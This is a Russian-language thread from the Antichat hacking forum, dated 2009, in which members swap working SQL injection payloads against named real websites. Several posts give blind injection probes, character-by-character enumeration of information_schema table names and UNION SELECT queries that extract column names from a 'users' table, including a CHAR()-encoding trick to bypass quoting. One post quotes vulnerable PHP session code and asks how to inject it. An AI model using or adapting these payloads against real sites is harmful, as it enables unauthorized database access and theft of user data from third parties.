HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 18.03.2009, 17:13
s_p_a_m
Участник форума
Регистрация: 08.02.2008
Сообщений: 116
Провел на форуме:
1608432

Репутация: 158
По умолчанию

http://www.zork.name/?view=1%27
 
Ответить с цитированием

  #2  
Старый 18.03.2009, 17:36
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию

Цитата:
Сообщение от s_p_a_m  
http://www.zork.name/?view=1%27
слепая(могу ошибаться, но фантазии не хватает)
http://www.zork.name/?view=1)+and+substring(version(),1,1)=5--+

Последний раз редактировалось geezer.code; 18.03.2009 в 17:41.. Причина: бес попутал
 
Ответить с цитированием

  #3  
Старый 18.03.2009, 17:43
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

Цитата:
только вот limit с union не дружит
лимит с ордером не дружит.
 
Ответить с цитированием

  #4  
Старый 18.03.2009, 18:19
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


По умолчанию

Порылся в исходном коде...вот:

PHP код:

session_set_cookie_params
(3600);
session_start();

if(isset(
$_SESSION['username']) && strlen($_SESSION['username']) && isset($_SESSION['password']) && strlen($_SESSION['password']))
{
    
$s_username $_SESSION['username'];
    
$s_password $_SESSION['password'];

    include(
"include/mysql_connect.php");

    
$result mysql_query("SELECT user_id, level FROM Users WHERE username='$s_username' && password=Password('$s_password')");
    while(
$row mysql_fetch_array($result))
    {
        
$userid $row["user_id"];
        
$s_user_id $row["user_id"];
        
$s_level $row["level"];
    }
    
$num mysql_num_rows($result);

    if(
$num == 0)
    {
        
header("Location: error2.php");
        exit();
    }
    elseif(
$num == 1)
    {
        
$course_id $_REQUEST['course_id'];
        if(!
is_numeric($course_id))
        {
            
$course_id 0;
        }
        if(
$s_level == 0)
        {
            
$result1 mysql_query("SELECT * FROM Courses_Users WHERE user_id='$s_user_id' && course_id='$course_id'");
            
$num_c mysql_num_rows($result1);
        }
        if(
$s_level 0)
        {
            
$result1 mysql_query("SELECT * FROM Courses WHERE teacher='$s_user_id' && course_id='$course_id'");
            
$num_c mysql_num_rows($result1);
        }

        
$num_c mysql_num_rows($result1);

        if(
$num_c == 0)
        {
            
header("Location: error2.php");
            exit();
        }
    }
    else
    {
        
header("Location: index.php");
        exit();
    }
}
else
{
    
header("Location: index.php");
    exit();
}
?> 
Реально ли здесь провести sql inj ? Проверок нету,разве что на существование.

И ещё вопросег: там проверка course_id идёт только на то.является ли значение числом...можно ли это обойти ?

Последний раз редактировалось Велемир; 18.03.2009 в 18:22..
 
Ответить с цитированием

  #5  
Старый 18.03.2009, 18:25
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874

Репутация: 1020


По умолчанию

Цитата:
Сообщение от Велемир  
Реально ли здесь провести sql inj ? Проверок нету,разве что на существование.

И ещё вопросег: там проверка course_id идёт только на то.является ли значение числом...можно ли это обойти ?
Сессия храниться на сервере со всеми данными а пользователь лишь передает ее индетификатор, так что думай

2Byrger без кавычек
Unknown column 'users' in 'where clause'

Последний раз редактировалось AkyHa_MaTaTa; 18.03.2009 в 18:30..
 
Ответить с цитированием

  #6  
Старый 18.03.2009, 18:23
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


По умолчанию

Офф имеется...А при mysql_quotes_gpc = On какой был бы вариант ?

ЗЫ: на этапе $s_username = $_SESSION['username']; можно вместо username подставить запрос?

Последний раз редактировалось Велемир; 18.03.2009 в 18:25..
 
Ответить с цитированием

  #7  
Старый 18.03.2009, 19:22
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

s_p_a_m
Там INSERT
http://www.zork.name/?view=2)+and+substring(version(),1,1)=(5

вот перебор, если нужен
http://www.zork.name/?view=2)+AND+ascii(lower(substring((select+table_n ame+from+information_schema.tables+limit+17,1),1,1 )))<(53

===============================
Цитата:
Сообщение от ElteRUS  
А инъекция после лимита возможна. Более чем )
Давай посмотрим реализацию Например тут:

http://www.ngo-monitor.org/articles.php?article_type=op-eds&type=whatsnew&limit=140'

http://www.ngo-monitor.org/articles.php?article_type=op-eds&type=whatsnew&limit=140,2--+

Ну или твой вариант с удовольствием посмотрю. С "ORDER BY", что-бы всё как положено

Последний раз редактировалось jokester; 18.03.2009 в 19:51..
 
Ответить с цитированием

  #8  
Старый 18.03.2009, 20:09
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию

Цитата:
Сообщение от jokester  
С "ORDER BY", что-бы всё как положено
Если в запросе есть ордей бай то нельзя. Ну мне нужно было конкретизировать, сори что ввел вас в заблуждение
 
Ответить с цитированием

  #9  
Старый 18.03.2009, 18:24
Byrger
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме:
791766

Репутация: 61
По умолчанию

Почему возникает ошибка при таком запросе?
Что-то в синтаксисе не так?

PHP код:
http://www.moviead.com/display.cfm?id=-1+union+select+1,2,3,COLUMN_NAME,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users'+LIMIT+1,1-- 
 
Ответить с цитированием

  #10  
Старый 18.03.2009, 18:28
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию

Цитата:
Сообщение от Byrger  
Почему возникает ошибка при таком запросе?
Что-то в синтаксисе не так?

PHP код:
http://www.moviead.com/display.cfm?id=-1+union+select+1,2,3,COLUMN_NAME,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users'+LIMIT+1,1-- 
http://www.moviead.com/display.cfm?id=-1+union+select+1,2,3,COLUMN_NAME,5,6,7,8,9,10,11,1 2+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME =CHAR(117,115,101,114,115)+LIMIT+1,1--
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.